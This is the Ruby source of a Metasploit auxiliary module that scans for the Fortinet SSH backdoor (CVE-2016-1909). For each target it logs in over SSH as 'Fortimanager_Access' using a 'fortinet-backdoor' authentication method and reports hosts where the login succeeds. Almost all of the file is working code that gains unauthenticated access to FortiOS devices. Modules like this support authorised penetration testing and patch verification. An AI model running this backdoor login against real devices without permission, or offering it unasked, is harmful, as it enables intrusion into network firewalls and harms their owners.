83 lines
2.1 KiB
Ruby
83 lines
2.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::SSH
|
|
include Msf::Exploit::Remote::Fortinet
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Fortinet SSH Backdoor Scanner',
|
|
'Description' => %q{
|
|
This module scans for the Fortinet SSH backdoor.
|
|
},
|
|
'Author' => [
|
|
'operator8203 <operator8203[at]runbox.com>', # PoC
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2016-1909'],
|
|
['EDB', '39224'],
|
|
['PACKETSTORM', '135225'],
|
|
['URL', 'http://seclists.org/fulldisclosure/2016/Jan/26'],
|
|
['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
|
|
],
|
|
'DisclosureDate' => 'Jan 9 2016',
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(22)
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
|
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
|
])
|
|
end
|
|
|
|
def run_host(ip)
|
|
factory = ssh_socket_factory
|
|
|
|
ssh_opts = {
|
|
port: rport,
|
|
auth_methods: ['fortinet-backdoor'],
|
|
non_interactive: true,
|
|
config: false,
|
|
use_agent: false,
|
|
proxy: factory
|
|
}
|
|
|
|
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
|
Net::SSH.start(ip, 'Fortimanager_Access', ssh_opts)
|
|
end
|
|
rescue Net::SSH::Exception => e
|
|
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
|
return
|
|
end
|
|
|
|
if ssh
|
|
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
|
|
report_vuln(
|
|
host: ip,
|
|
name: self.name,
|
|
refs: self.references,
|
|
info: ssh.transport.server_version.version
|
|
)
|
|
end
|
|
end
|
|
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
end
|